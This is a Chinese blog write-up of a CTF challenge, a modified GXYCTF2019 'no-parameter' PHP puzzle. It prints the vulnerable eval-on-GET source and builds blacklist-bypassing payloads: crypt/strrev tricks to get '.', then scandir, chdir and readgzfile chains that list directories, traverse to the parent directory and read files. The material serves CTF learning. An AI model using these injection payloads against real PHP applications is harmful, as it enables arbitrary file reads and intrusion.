0xctfNoparametersreadfile(魔改版GXYCTF2019禁止套娃)
0xctfNoparametersreadfile(魔改版GXYCTF2019禁止套娃)

0xctfNoparametersreadfile(魔改版GXYCTF2019禁止套娃)

迁移博客时图片文件不好处理,请看博客园原文

博客园原文

阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃

重要参考链接:http://www.heetian.com/info/827

Leon师傅魔改了[GXYCTF2019]禁止套娃这道题,将过滤掉的字符串增加了一大堆.打开题目得到的源码如下:

 1  <?php
 2 header("Content-Type: text/html;charset=utf-8");
 3 highlight_file(__FILE__);
 4 error_reporting(0);
 5 if(isset(_GET['exp'])){
 6     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//im',_GET['exp'])) {
 7         if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, _GET['exp'])) {
 8             if (!preg_match('/et|cu|pos|show|high|reset|local|sess|header|readfile|heb|oo|info|dec|bin|ex|oct|pi|sys|open|log/im',_GET['exp'])) {
 9                 @eval($_GET['exp']);
10             }
11             else{
12                 die("还差一点哦!");
13             }
14         }
15         else{
16             die("再好好想想!");
17         }
18     }
19     else{
20         die("还想读flag,臭弟弟!");
21     }
22 }
23 ?> 

我们可以看到在第八行Leon师傅将能禁的字符串几乎都禁了一遍,于是菜狗M1saka开始了构造:

首先我们需要遍历当前目录,即我们需要构造scandir(“.”).即构造”.”,这里给出我们的思考过程:

  1. 利用localeconv()函数得到”.” localeconv()函数返回的是包含本地数字及货币格式信息的数组,这个数组的第一个元素就是”.”,利用current(localeconv())就可以得到”.”,但是帅气的Leon师傅把我们的local直接给禁了,这个思路不通.
  2. “.”可以用chr(46)进行表示,于是我们开始绞尽脑汁构造46:chr(rand()) chr里面的值只需要是周期内的46都可,但是chr(rand())获得46的几率过小,像我这种非酋就不必了吧; 我们也可以利用时间函数去获得46,毕竟时间函数获得的是0~60之间的数字,比rang几率大多了.但是每一次构造payload都要等一分钟,实在是麻烦 ; 第三种我们可以利用PHP的数学函数,结合phpversion()去尝试拼凑出46.本题的环境是7.0.3,于是在exp中构造得到ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));,运行得到46 但是我们机制的Leon师傅直接把”oo”给ban了,于是这个方法还是不通.
  3. hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符.可是Leon师傅继续ban了’heb’,此路不通.

4.strrev(crypt(serialize(array())))可以得到”.”这就是这道题第一步的突破点.上图:

但是在第二张图里面我们发现读到了根目录,其实strrev(crypt(serialize(array())));不光能获得”.”,还能获得”/”,于是就读到了根目录

读完文件夹之后我们已经看到了flag.php,于是我们尝试去读取:

1 payload:readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

因为flag.php在倒数第二个位置,并且Leon师傅ban了”ex”,并不能使用next()函数,所以我们采取这种读取随机文件的方式,array_rand(array_flip())选取该文件夹用数组表示的任意一个元素并且将键值与元素进行调换,array_rand()函数是随机选取数组中的一个元素,于是我们在传入这个payload之后,要进行多次刷新,这样的话我们不但能读到flag.php与index.php,

还有一个小细节,因为Leon师傅ban了show_source() , readfile(),high_light(), 等常用读文件函数,于是我们使用readgzfile()函数,回显在源码里面

于是我们成功读到了flag.php:

针不龊 假的flag针不龊

做到这里M1saka直接冲到楼上Leon师傅的寝室去暴打他。

既然我们已经知道flag在上级目录里面,接下来的操作就是先尝试去查看上级目录里面的文件,进行目录穿越,找到真正的flag之后进行读取。并且我们需要用chdir()进行目录切换,否则在当前目录并不能读取上层目录的文件。

接下来我们要去尝试构造”..”,因为getcwd()与hebrevc(crypt(time()))都被我们帅气的Leon师傅ban了,仔细一想,似乎刚刚在遍历目录的时候,第二个数组永远是”..”于是我们可以尝试使用套娃的方式去获得”..”

1 payload:?exp=print_r(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));

因为是随机选取数组元素,我们需要多进行几次刷新才能获得回显,期望回显如下图:

坏蛋Leon放了好几个假flag嘤嘤嘤

我们已经可以推断出该题的文件结构:var文件夹里面存在的是www文件夹,www文件夹里面存在的是fackflag.php,noflag.php,realflag.php以及html文件夹,就是我们题目初始所在的文件夹。

此时如果我们直接对www文件夹进行读取的话并不会有任何的回显,因为在本题目中默认的文件夹是我们的html文件夹,不能直接进行跨文件夹读取文件,于是我们开始尝试用chdir()函数进行切换文件夹。

realpath()函数返回该文件的绝对路径,在本题中应用:

1 payload:?exp=print_r(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))));

得到的回显有两种:/var/www/html与“/var/www/html/index.php

原因是我们的随机函数有可能会选到当前目录或者index.php,我们可以使用dirname()函数返回当前路径下的目录,然后chdir()该目录就能转到我们想要的目录并进行文件读取。(记得多刷新亿次因为我们使用的是随机函数)

巧用if()函数的payload:

if()函数进行切换目录,如果切换成功了的话进行随机文件读取(与我们刚开始读假flag的手段一样)因为if语句的中如果切换目录失败了的话就不能执行后面的语句,起到了一定的过滤性

payload:?exp=if(chdir(dirname(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

来看看Leon师傅藏了多少flag:

发表评论

您的电子邮箱地址不会被公开。